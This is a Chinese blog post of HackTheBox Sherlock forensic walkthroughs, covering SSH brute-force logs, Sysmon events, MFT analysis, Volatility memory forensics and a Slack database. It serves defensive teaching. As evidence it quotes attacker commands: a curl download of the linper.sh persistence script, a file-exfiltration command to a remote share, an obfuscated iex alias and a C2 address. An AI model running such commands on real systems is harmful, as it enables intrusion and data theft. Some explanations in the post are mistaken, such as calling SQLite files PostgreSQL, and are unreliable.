admin管理员组

文章数量:1647870

Sherlocks 中关于 DFIR 的一些内容,按照时间线整理,尚未完成,持续更新​

Brutus

和上一次做的 Recollection 机器一样,主要学习一下相关的知识,练习一下。按照机器描述,在学习完成后将熟悉 auth.log 和 wtmp 日志

auth.log

auth.log 是 Linux 系统中一个重要的日志文件,它记录了所有与用户认证相关的行为和事件,这对于系统安全、故障排除、安全审计和监控非常关键。以下引用内容由 AI 生成。

auth.log 的日志格式通常遵循一种标准化的格式,它包含了多个字段,每个字段都包含有关事件的重要信息。一个典型的 auth.log 条目可能包括以下字段: 时间戳:事件发生的具体日期和时间。 主机名:生成日志的系统的主机名。 进程信息:生成日志的进程的相关信息,如进程ID(PID)。 日志级别:事件的严重性或重要性级别,如debug、info、notice、warning、err、crit、alert、emerg。 程序名称:生成日志消息的程序或服务的名称,例如sshd。 进程ID:生成日志消息的进程的ID。 消息:描述事件的文本消息,可能包括用户尝试登录的用户名、来源IP地址、使用的终端类型(tty)等。

简单看一下

以第一行为例,详细信息如下所示。分析内容由 AI 分析并生成。

  • Mar 6 06:18:01:这是日志记录的时间,表示这条日志是在3月6日的06时18分01秒产生的。
  • ip-172-31-35-28:这是产生日志的服务器的IP地址。
  • CRON[1119]:表示这条日志是由cron守护进程产生的,进程ID(PID)是1119。
  • pam_unix(cron:session):这表明日志是由PAM(可插拔认证模块)产生的,PAM用于Linux系统中的认证、账户管理、密码管理以及会话管理。在这里,它记录了cron的会话管理。
  • session opened for user confluence(uid=998) by (uid=0):这表示为用户confluence(用户ID为998)开启了一个会话。uid=0通常表示root用户,这意味着是以root用户的权限开启的会话。

wtmp

以下引用内容由 AI 生成。

wtmp 是一个二进制文件,用于在 Unix 和类 Unix 系统中记录用户登录和注销事件的日志。这个文件提供了一个持久的历史记录,用于追踪系统中的用户会话。以下是关于 wtmp 文件的一些要点: 二进制格式:wtmp 文件是一个二进制文件,因此不能直接用普通文本编辑器进行查看。通常需要使用专门的命令如 last 来解析和查看里面的内容。 记录内容:wtmp 记录了每个用户登录和注销的时间,以及相关的IP地址和使用的终端(TTY)。它还记录了系统的启动和关闭时间。 文件位置:在大多数 Linux 系统中,wtmp 文件通常位于 /var/log/wtmp。在某些系统中,可能存在类似的日志文件,如 /var/run/utmp,它记录当前登录的用户信息,并且会随着用户登录和注销而动态变化。 查看登录历史:可以使用 last 命令来查看 wtmp 文件中的信息,从而获取用户的登录历史记录。例如,运行 last 命令会列出最近的登录和注销事件。 系统管理:系统管理员可以利用 wtmp 文件来审计系统,检查未授权的访问尝试,分析用户登录模式,以及进行事故响应和事后分析。 日志轮转:由于 wtmp 文件会随着时间不断增长,系统管理员可能需要设置日志轮转策略,以避免其无限增长占用过多磁盘空间。 安全性:虽然 wtmp 提供了用户活动的记录,但它是二进制格式,可能不如文本日志文件直观。此外,由于其格式特殊,可能需要特定的工具或脚本来提取和分析信息。 与其他日志的关系:wtmp 与 lastlog 和 auth.log 等其他日志文件相关联。lastlog 记录了所有用户的最后登录时间,而 auth.log 记录了认证相关的详细信息。 系统重启和关闭:wtmp 也记录了系统的启动和关闭事件,这可以帮助系统管理员了解系统的运行状态和任何非正常的重启情况。

TASK

Q1 分析auth.log,您能否识别攻击者用于进行暴力攻击的 IP 地址? 

A :65.2.161.68

暴力攻击意味着会有大量失败的记录

grep "password" auth.log | grep Failed

Q2 暴力尝试成功,攻击者获得了对服务器上帐户的访问权限。这个账户的用户名是什么?

A : root

和刚才可以使用一样的,加一个 -v 去除 Failed 即可

Q3 您能否识别攻击者手动登录服务器以执行其目标时的时间戳?

A : 2024-03-06 06:32:45

按照第二题来看,65.2.161.68 只进行了两次登录,第一次是暴力破解,那么第二次就是手动登录,但是填写该时间却发生了错误,查看题目提示,让我们结合 wtmp 日志来确定时间,使用 utmpdump 处理 wtmp 文件并过滤 65.2.161.68 ip,看到这个时间比刚才的时间多了 1 秒钟

Q4 SSH 登录会话在登录时被跟踪并分配一个会话编号。问题 2 中分配给攻击者用户帐户会话的会话号是多少?

A :37

因为在登陆成功后,系统就会分配 session 编号,刚才已经明确登录时间,可以根据这个时间来过滤查看之后的日志

Q5 攻击者在服务器上添加了一个新用户作为其持久性策略的一部分,并授予该新用户帐户更高的权限。这个账户叫什么名字?

A :cyberjunkie

从 Q2 的结果中就可以看到,有一个 cyberjunkie 用户修改了密码,并且登录成功即可猜测这个用户就是攻击者添加的,也可以过滤 add 关键词

Q6 用于持久性的 MITRE ATT&CK 子技术 ID 是什么?

A :T1136.001

Q6 的提示是这样的“如果您已经找到了问题 5 的答案,请查阅 MITRE ATT&CK 企业矩阵,以确定持久性策略下的子技术 ID。”

点击可以看到结果

Q7 根据先前确认的身份验证时间和会话在auth.log内结束,攻击者的第一个 SSH 会话持续了多长时间?(秒)

A :279

通过过滤刚才获取的会话编号,可以查看有关 session 创建和结束的时间,从 06:32:45 到 06:37:24,共用了 279 s

Q8 攻击者登录了他们的后门帐户,并利用他们的更高权限下载了脚本。使用 sudo 执行的完整命令是什么?

A :/usr/bin/curl https://raw.githubusercontent/montysecurity/linper/main/linper.sh

参考链接:

Matrix - Enterprise | MITRE ATT&CK®

HTB 夏洛克:布鲁图斯 |0xdf黑客的东西

如何在 Ubuntu 上监控系统身份验证日志 |数字海洋 (digitalocean)

Unit42

Windows Event Logs

Windows 事件日志是 Windows 操作系统的一个基本组成部分,记录了计算机的活动和操作的广泛信息。这些日志对于系统诊断、性能监控和安全审计至关重要。它们提供了系统上发生的每个事件的详细记录,从系统启动和关闭到软件安装和安全漏洞。

分类

应用程序日志:记录与Windows应用程序相关的事件。这些包括来自软件程序的错误、警告和信息性消息。

安全日志:包含系统审计策略指定的安全相关事件的记录。例如包括成功和失败的登录尝试、用户权限的变更以及其他与安全相关的变更。

系统日志:记录系统事件,如驱动程序故障、硬件问题和其他系统级别的通知。

安装日志:记录与Windows及其他软件组件安装相关的事件。

转发事件:用于存储从远程计算机收集的事件。

管理员和安全团队使用这些日志来解决问题,监控系统性能,并确保系统免受未授权访问和其他安全威胁。

sysmon

Sysmon(系统监视器)Sysmon是一个Windows系统服务和设备驱动程序,一旦安装在系统上,就会在系统重新启动后继续运行,以监视并记录系统活动到Windows事件日志中。它是微软Sysinternals工具套件的一部分,提供有关进程创建、网络连接和文件创建时间变化的详细信息。

Sysmon旨在协助检测和分析高级威胁和恶意软件。它通过提供更详细和具体的系统行为和活动信息,扩展了Windows事件日志的功能。

Sysmon的用途

进程跟踪:记录进程创建的完整命令行,包括当前进程和父进程,提供有关进程执行的上下文信息。

网络监控:记录进出网络连接的信息,包括来源、目的地和使用的协议,这对于识别恶意流量至关重要。

文件创建跟踪:监视文件的创建,允许分析师追踪恶意软件的传播或未经授权的进程提取数据。

注册表事件:记录对Windows注册表的更改,这可能表明恶意软件安装或攻击者所做的配置更改。

驱动程序和DLL加载:监视驱动程序和DLL的加载,这可以帮助识别利用工具包和rootkits的使用。

TASK

Windows事件日志可以通过事件查看器(Event Viewer)来查看,这是Windows中提供的一个图形化工具,它允许用户查看和分析日志条目。事件查看器将日志分类为不同的部分,使得浏览日志和查找特定事件变得更加容易。直接双击打开 .evtx 文件,可以看到共有 169 个 sysmon 事件

Q1 事件 ID 为 11 的事件日志有多少个?

A :56

选择“操作”,“筛选当前日志”,在任务类别中填写事件 ID

可以看到事件数共有 56 个

Q2 每当在内存中创建进程时,都会记录事件 ID 为 1 的事件,其中包含命令行、哈希、进程路径、父进程路径等详细信息。这些信息对分析师非常有用,因为它允许我们查看系统上执行的所有程序,这意味着我们可以发现正在执行的任何恶意进程。感染受害者系统的恶意进程是什么?

A :C:\Users\CyberJunkie\Downloads\Preventivo24.02.14.exe.exe

过滤事件 ID 为 1,这是进程创建的事件 ID,总共有 6 个

Sysmon 提供了极其精细的细节。在进行初步调查时,我们将重点关注"Image"(映像)、"Parent Image"(父进程映像)和"CommandLine"(命令行)字段。这是因为我们可以通过它们来确认启动进程的可执行文件的名称,以及生成的任何命令行输出。恶意活动通常可以通过不寻常的进程名称或不寻常的命令行输出来确认

只有 6 条记录,可以一个一个看,下面找到的一条记录中显示二进制文件使用了双 .exe 扩展名,这是不寻常的。通常情况下,Windows的可执行文件只有一个 .exe 扩展名。双扩展名可能是为了混淆视听,避免被轻易识别为可执行文件

为了确定,可以进一步在网上搜索该 exe,因为有二进制文件的 hash 值,可以拿去 virustotal 检查,现在可以确定该文件是一个恶意程序

Q3 哪个云驱动器用于分发恶意软件?

A :dropbox

事件 ID 22 可以用来查找系统进行的任何 DNS 查询,可以过滤事件 ID 22,并查看在入侵相似时间段内主机进行的 DNS 查询。发现过滤出来有 3 条记录,时间都差不多

看到主机对 Dropbox 域名的 DNS 查询。这表明了与 Dropbox 服务的通信,可能用于访问存储在云中的文件

Q4 最初的恶意文件在磁盘上创建了许多文件(一种防御规避技术,其中文件创建日期被更改以使其看起来很旧)。PDF 文件的时间戳更改为什么?

A :2024-01-14 08:10:06

问题表明主机上执行了时间戳伪造(timestomping),这将通过Sysmon日志中的事件ID 2被检测到。此事件记录了系统上任何文件创建时间的变化。时间戳伪造是威胁行为者常用的技术,用于操纵计算机系统内文件的时间戳。这些时间戳包括文件被创建、最后修改和最后访问的日期和时间。通过改变这些细节,某人可以隐藏其踪迹,使得调查人员或安全软件更难确定文件实际被更改或创建的时间。

共发现了 16 个事件,找到改为 .pdf 的内容,可以看到时间

Q5 恶意文件在磁盘上删除了几个文件。磁盘上的“once.cmd”在哪里创建?请回答完整路径和文件名

A :C:\Users\CyberJunkie\AppData\Roaming\Photo and Fax Vn\Photo and vn 1.1.2\install\F97891C\WindowsVolume\Games\once.cmd

首先过滤事件 ID 11,它对应于文件创建事件。随后,我们使用事件日志的查找功能搜索文件名 "once.cmd",找到由 Preventivo24.02.14.exe.exe 创建的 once.cmd

Q6 恶意文件试图访问虚拟域,最有可能检查互联网连接状态。它尝试连接到哪个域名?

A : www.example

再次回顾事件 ID 22,确定恶意二进制文件试图与 www.example 域进行通信

Q7 恶意进程试图访问哪个 IP 地址?

A :93.184.216.34

寻找与进程通信的IP地址时,我们需要过滤事件ID 3,这是检测到的网络连接的事件ID。筛选 ID 3 只有一个地址

Q8 恶意进程在使用 UltraVNC 的后门变体感染 PC 后自行终止。该过程何时自行终止?

A :2024-02-14 03:41:58

事件 ID 5 在 Sysmon 日志中表示进程终止,使用相同的流程,过滤事件 ID 5

参考链接:

VirusTotal - Home

hackthebox/Categories/Sherlocks/Unit42/README.md 在 main ·乔恩-布兰迪/Hackthebox (github)

BFT

MFT(Master File Table)

主文件表(MFT)是 NTFS(新技术文件系统)中的关键组成部分,NTFS 是 Windows 操作系统使用的文件系统。MFT 本质上是一个数据库,它存储了 NTFS 卷上每个文件和目录的元数据。它的作用和结构使其成为数字取证中的基本资源,特别是在处理基于 Windows 的环境时。

MFT本身在NTFS卷上作为文件结构化,但它的特殊之处在于它描述了所有其他文件,包括它自己以及关于卷的元数据。这意味着MFT包含了关于NTFS卷上所有文件和目录的元信息,包括文件名、大小、创建时间、修改时间、访问时间、属性、权限、数据流、引用计数和索引根等。

MFT在Windows取证中非常重要,因为它提供了对文件系统的全面视图,允许调查人员分析和重建文件和目录的历史记录,确定文件的创建、修改和访问时间,以及恢复被删除或损坏的文件。MFT的分析还可以帮助识别隐藏的文件、跟踪文件系统的更改,并在安全事件调查中提供关键线索。

Tools

将我们的 MFT 转换为 CSV 文件,然后导入到 TimeLine Explorer 中

MFTeCMD 是由 Eric Zimmerman 开发的工具,专门用于解析 NTFS 文件系统中的主文件表。它提取存储在MFT条目中的详细信息,以更易于消化和分析的格式呈现

Timeline Explorer 是为数字取证调查期间查看、过滤和分析时间线而设计的工具。它通常用于审查在取证分析期间提取的大型事件日志、文件系统记录和其他带时间戳的数据集

D:\DoNotOpen\WhatAreUlookingFor\BLUE\MFTECmd>MFTECmd.exe -f "C:\Users\Administrator\Downloads\BFT\C\$MFT" --csv "C:\Users\Administrator\Downloads\BFT\mft.csv" --csvf mft.csv
MFTECmd version 1.2.2.1

Author: Eric Zimmerman (saericzimmerman@gmail)
https://github/EricZimmerman/MFTECmd

Command line: -f C:\Users\Administrator\Downloads\BFT\C\$MFT --csv C:\Users\Administrator\Downloads\BFT\mft.csv --csvf mft.csv

File type: Mft

Processed C:\Users\Administrator\Downloads\BFT\C\$MFT in 6.8349 seconds

C:\Users\Administrator\Downloads\BFT\C\$MFT: FILE records found: 171,927 (Free records: 142,905) File size: 307.5MB
Path to C:\Users\Administrator\Downloads\BFT\mft.csv doesn't exist. Creating...
        CSV output will be saved to C:\Users\Administrator\Downloads\BFT\mft.csv\mft.csv

现在可以打开 TimeLine explorer 并导入 mft.csv 文件

TASK

Q1 西蒙·斯塔克(Simon Stark)于2月13日成为袭击者的目标。他从一封电子邮件中收到的链接下载了一个ZIP文件。他从链接下载的ZIP文件的名称是什么?

A :Stage-20240213T093324Z-001.zip

在 TimeLine explorer 中添加过滤,过滤文件名称和时间

invoices.zip 也是在 Stage-20240213T093324Z-001.zip 子目录中的,所以答案不是这个

Q2 检查最初下载的 ZIP 文件的区域标识符内容。此字段显示从中下载文件的 HostUrl,作为我们调查/分析中有价值的入侵指标 (IOC)。从中下载此 ZIP 文件的完整主机 URL 是什么?

A :https://storage.googleapis/drive-bulk-export-anonymous/20240213T093324.039Z/4133399871716478688/a40aecd0-1cf3-4f88-b55a-e188d5c1c04f/1/c277a8b4-afa9-4d34-b8ca-e1eb5e5f983c?authuser

在确定初始ZIP文件的过程中,我们的目标是找出它被下载的URL。当文件通过浏览器从互联网下载时,会为下载的文件生成一个替代数据流(ADS),其中包含下载源的URL。在Windows NTFS(新技术文件系统)的背景下,替代数据流(ADS)是一个功能,它允许数据被分叉到现有文件中,而不改变原始文件内容或对用户可见的大小。这个功能源自于Macintosh层次文件系统的能够存储资源分支的能力,这些分支可以存储与文件数据分开的元数据或图标。ADS可以用来存储与文件或目录相关的额外信息

在刚才过滤的基础上,在后面可以看到 url

Q3 执行恶意代码并连接到 C2 服务器的恶意文件的完整路径和名称是什么?

A :C:\Users\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice\invoices\invoice.bat

执行恶意文件的完整路径不知道,但是大概率是在刚才的压缩文件目录下,在父目录中筛选 Stage,然后发现了一个名为 Invoice.bat 的批处理文件。这个文件很显眼,因为批处理文件(.bat)通常用于在 Windows 系统上执行命令,这常常使它们成为网络攻击中被滥用的目标

Q4 分析先前标识的文件的 $Created 0x30 时间戳。此文件是何时在磁盘上创建的?

拖到后面查看,$Created 0x30 的时间戳

Q5 在许多调查方案中,查找 MFT 记录的十六进制偏移量非常有用。从问题 3 中找到 stager 文件的十六进制偏移量

A :16E3000

提示:在 MFT 记录中,找到相关文件的条目编号值。将这个数字乘以 1024(因为这是每个记录的大小)。你得到的答案就是以十进制表示的偏移量。将其转换为十六进制并给出答案。

为了确定“初始加载器”文件,即 invoice.bat 文件的偏移量,我们首先找到它的 MFT 条目编号,这里是 23436

按照提示的步骤计算偏移量:

  1. 将MFT条目编号乘以每个记录的大小:[ 23436 \times 1024 = 23998464 ](十进制)
  2. 将得到的十进制数转换为十六进制。十进制数 23998464 转换为十六进制是:[ 0x016E3000 ]

因此,文件 invoice.bat 在 MFT 中的偏移量是 0x016E3000。这个偏移量可以用于进一步的取证分析,比如直接在磁盘映像中定位和提取该文件的 MFT 记录。

Q6 每个 MFT 记录的大小为 1024 字节。如果磁盘上的文件大小小于 1024 字节,则可以直接存储在 MFT 文件本身上。这些文件称为 MFT 驻留文件。在 Windows 文件系统调查期间,查找可能驻留在 MFT 中的任何恶意/可疑文件至关重要。这样我们可以找到恶意文件/脚本的内容。找到问题 3 中标识的恶意暂存器的内容,并使用 C2 IP 和端口回答。

A :43.204.110.203:6666

可以直接存储在主文件表(MFT)中的文件大小——被称为驻留文件——根据文件本身、系统以及存储在MFT中的元数据量而有所不同。通常,与文件关联的元数据越多,用于在MFT内存储文件数据本身的空间就越少。虽然没有严格的上限,但通常小于大约900字节的文件可以完全包含在它们的MFT记录中

检查发现文件大小远远小于 900,证明该文件本身就是一个 MFT 驻留文件,意味着文件的内容存储在MFT本身中,而不是存储在磁盘上。使用十六进制编辑器打开文件

使用之前确定的MFT条目编号,找到invoice.bat文件对应的MFT记录。使用“跳转”功能,在“跳转”对话框中,输入十六进制偏移量 16E3000

发现了一个PowerShell命令,它是一行脚本的一部分。这个脚本包括IP地址和端口号,这表明恶意软件尝试连接到何处以接收进一步的指令或外泄数据

Recollection

先下载 .zip 压缩包,然后使用它给的密码解压,解压完成后,里面只有一个 recollection.bin 文件,然后需要回答下面 18 个问题

TASK

Q1 机器的操作系统是什么?

A1 : windows 7

Q2 内存转储是何时创建的?

A2 : 2022-12-19 16:07:30

为了执行内存取证,首先需要确定正确配置文件,可以使用 volatility 工具,使用 imageinfo 插件

python2 vol.py -f /home/kali/vegetable/HTB/recollection/recollection.bin imageinfo

Q3 攻击者获得计算机访问权限后,将混淆的 PowerShell 命令复制到剪贴板。命令是什么?

A3 : (gv '*MDR*').naMe[3,11,2]-joIN''

题目问攻击者获得计算机访问权限后,将混淆的 PowerShell 命令复制到剪贴板。命令是什么?因此需要利用剪贴板插件 clipboard 识别剪贴板中的数据

python2 vol.py -f /home/kali/vegetable/HTB/recollection/recollection.bin --profile=Win7SP1x64 clipboard

Q4 攻击者复制了经过模糊处理的命令,以将其用作 PowerShell cmdlet 的别名。cmdlet 名称是什么?

A4 : Invoke-Expression

Q5 执行了 CMD 命令以尝试泄露文件。什么是完整的命令行?

A5 : type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt

Q6 按照上面的命令,现在告诉我们文件是否已成功泄露?

A6 : NO

Q7 攻击者试图创建自述文件。文件的完整路径是什么?

A7 : C:\Users\Public\Office\readme.txt

Q8 机器的主机名是什么?

A8 : USER-PC

先看任务 4,攻击者复制了经过模糊处理的命令,以将其用作 PowerShell cmdlet 的别名。cmdlet 名称是什么?

利用 consoles 来检查执行的混淆命令的结果

python2 vol.py -f /home/kali/vegetable/HTB/recollection/recollection.bin --profile=Win7SP1x64 consoles

找到如下结果,搜索 iex power shell 发现大部分链接都包含 Invoke-Expression,最后发现 iex 是 Invoke-Expression 的一个别名,参考Invoke-Expression (Microsoft.PowerShell.Utility) - PowerShell | Microsoft Learn

接下来是任务 5,执行了 CMD 命令以尝试泄露文件。什么是完整的命令行?可以看到刚才结果中有如下指令,尝试将 Confidential.txt 文件泄露到 public 目录下的 pass.txt 文件中

紧接着刚才的任务,任务 6 问文件是否已经泄密。如上图所示,因为 The network path was not found,所以文件泄密并没有成功

任务 7 问攻击者尝试创建自述文件,问文件路径是什么,同样的,分析 consoles 插件获取的信息,在其中发现了一些编码内容

将其解码获得创建的自述文件的路径

机器的主机名可以使用 net users 命令来获取,从历史记录中可以看到终端主机名为 USER-PC

另外,也可以通过 hivelist 插件来获取 \REGISTRY\MACHINE\SYSTEM 的偏移量,然后使用 printkey 转储注册表项

python2 vol.py -f /home/kali/vegetable/HTB/recollection/recollection.bin --profile=Win7SP1x64 hivelist 

python2 vol.py -f /home/kali/vegetable/HTB/recollection/recollection.bin --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K "ControlSet001\Control\ComputerName\ComputerName"

Q9 计算机中有多少个用户帐户?

A9 : 3

python2 vol.py -f /home/kali/vegetable/HTB/recollection/recollection.bin --profile=Win7SP1x64 printkey -K "SAM\Domains\Account\Users\Names"

按照上面的方式可以找到用户数量及用户名,除去隐藏用户,只有 3 个

Q10 在“\Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge”文件夹中,有一些子文件夹中有一个名为 passwords.txt 的文件。完整的文件位置/路径是什么?

A10 : \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt

在 “\Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge” 文件夹中,有一些子文件夹中有一个名为 passwords.txt 的文件。完整的文件位置/路径是什么?

要获取相应的信息,可以直接使用 filescan 插件

┌──(kali㉿kali)-[~/vegetable/blue/volatility]
└─$ python2 vol.py -f /home/kali/vegetable/HTB/recollection/recollection.bin --profile=Win7SP1x64 filescan | grep password
Volatility Foundation Volatility Framework 2.6.1
0x000000011fc10070      1      0 R--rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt

Q11 使用命令执行了恶意可执行文件。可执行 EXE 文件的名称是其本身的哈希值。哈希值是多少?

A11 : b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1

使用命令执行了恶意可执行文件。可执行 EXE 文件的名称是其本身的哈希值。哈希值是多少?

使用 consoles 插件,跟之前一样,发现执行了下面的 exe 文件

Q12 继上一个问题之后,您在上面找到的恶意文件的 Imphash 是什么?

A12 : d3b592cd9481e4f053b5362e22d61595

继上一个问题之后,您在上面找到的恶意文件的 Imphash 是什么?

上一个问题说了,文件名就是其本身的 hash 值,可以将 hash 值复制到威胁情报分析平台VirusTotal - Home,将 hash 值复制到搜索框中搜索,分析得到该文件是一个木马

点击 DETAILS 选项卡即可查看 imphash

Q13 在上一个问题之后,请以UTC格式告诉我们创建恶意文件的日期?

A13 : 2022-06-22 11:49:04

也可以在 DETAILS 选项卡中获取该恶意文件的 UTC 创建时间

 Q14 机器的本地 IP 地址是什么?

A14 : 192.168.0.104

可以使用 netscan 插件来识别本地 ip 地址

python2 vol.py -f /home/kali/vegetable/HTB/recollection/recollection.bin --profile=Win7SP1x64 netscan

Q15 有多个 PowerShell 进程,其中一个进程是子进程。哪个进程是它的父进程?

A15 : cmd.exe

有多个 PowerShell 进程,其中一个进程是子进程。哪个进程是它的父进程?可以使用 pstree 插件来列出所有进程及子进程

python2 vol.py -f /home/kali/vegetable/HTB/recollection/recollection.bin --profile=Win7SP1x64 pstree

Q16 攻击者可能使用电子邮件地址登录社交媒体。你能告诉我们电子邮件地址吗?

A16 : mafia_code1337@gmail

攻击者使用了邮件地址,需要找到这个地址,第七题中黑客创建的自述文件,就有 hacked by mafia,猜测下面发现的邮箱就是攻击者的邮箱地址

Q17 使用 MS Edge 浏览器,受害者搜索了 SIEM 解决方案。SIEM 解决方案的名称是什么?

A17 : wazuh

使用 MS Edge 浏览器,受害者搜索了 SIEM 解决方案。SIEM 解决方案的名称是什么?

首先使用 filescan 插件并搜索历史记录,然后发现了 edge 的历史记录,复制偏移量

python2 vol.py -f /home/kali/vegetable/HTB/recollection/recollection.bin --profile=Win7SP1x64 filescan | grep -i history

使用 dumpfiles 插件转储

python2 vol.py -f /home/kali/vegetable/HTB/recollection/recollection.bin --profile=Win7SP1x64 dumpfiles --dump-dir=. -Q 0x000000011e0d16f0

使用 open file.None.0xfffffa80056d1440.dat 打开该文件,然后在 Tables → keyword_search_terms(右键) → Browse Table

Q18 受害用户下载了 exe 文件。该文件的名称模仿了带有拼写错误的Microsoft的合法二进制文件(即合法二进制文件powershell.exe,攻击者将恶意软件命名为powershall.exe)。告诉我们文件扩展名的文件名?

A18 : csrsss.exe

受害用户下载了 exe 文件。该文件的名称模仿了带有拼写错误的Microsoft的合法二进制文件(即合法二进制文件powershell.exe,攻击者将恶意软件命名为powershall.exe)。告诉我们文件扩展名的文件名?

依然使用 filescan 插件,筛选出 download

参考链接:

hackthebox/Categories/Sherlocks/Recollection/README.md at main · jon-brandy/hackthebox · GitHub

波动性基金会之家 |Volatility Memory Forensics - The Volatility Foundation - 在内存取证社区内推广可访问的内存分析工具

Invoke-Expression (Microsoft.PowerShell.Utility) - PowerShell | Microsoft Learn

VirusTotal - Home

Jingle Bell

下载文件,可以看到如下内容

.db、.db-shm、.db-wal 是 PostgreSQL 数据库使用的文件格式。PostgreSQL 是一个高度可扩展的、功能强大的开源对象关系数据库系统。这些文件通常用于数据库的存储和管理,具体如下:

.db 文件

:这是 PostgreSQL 数据库的主体文件,包含了数据库中的数据。每个数据库都有一个或多个这样的文件,它们是数据库数据的主要存储位置。

.db-shm 文件

:这个文件用于存储共享内存段(shared memory segments)。共享内存是 PostgreSQL 用来提高数据库性能的一种机制,允许多个进程共享相同的内存区域,从而加速数据访问。

.db-wal 文件

:这是 Write-Ahead Logging (预写日志) 文件。PostgreSQL 使用 WAL 来确保数据库的持久性和恢复能力。在数据实际写入磁盘之前,WAL 会先记录下这些更改,这样即使系统崩溃,数据库也可以从 WAL 文件中恢复数据。

这些文件通常位于 PostgreSQL 数据库的 base 目录下,每个数据库都有自己的子目录,里面包含了这些文件。在数据库操作过程中,这些文件非常重要,不应该被删除或修改,否则可能会导致数据丢失或数据库损坏。

TASK

Q1 Torrin 使用哪个软件/应用程序泄露了 Forela 的秘密?

A :Slack

看到一个 payload

搜索,发现使用了 slack

select Payload from Notification;

Q2 Torrin 泄露数据的竞争对手公司叫什么名字?

A :PrimeTech Innovations

依然在刚才的地方可以看到公司名

Q3 Torrin 与之共享信息的竞争对手组织的人员的用户名是什么?

A :Cyberjunkie-PrimeTechDev

Q4 他们互相交谈的频道名称是什么?

A :forela-secrets-leak

Q5 存档服务器的密码是什么?

A :Tobdaf8Qip$re@1

Q6 提供给 Torrin 的用于上传被盗数据的 URL 是什么?

A :https://drive.google/drive/folders/1vW97VBmxDZUIEuEUG64g5DLZvFP-Pdll?usp=sharing

Q7 上面的链接是什么时候与 Torrin 共享的?

A :2023-04-20 10:34:49

我计算出来的时间总是不对,答案是看别人的,我也不想在过多纠结这个了#002 – HackTheBox – 铃儿响叮当 – Marko 的博客 (mkasem)

Q8 托林泄露了福雷拉的秘密多少钱?

A :£10000

找到了这个数字

参考链接

#002 – HackTheBox – 铃儿响叮当 – Marko 的博客 (mkasem)

这是一一一一一一一一一一一一一一一一一一一一条分隔线

后面的等待更新,有的时候下载文件太慢了,有时会断掉,难搞!

本文标签: HTBSherlocksDFIR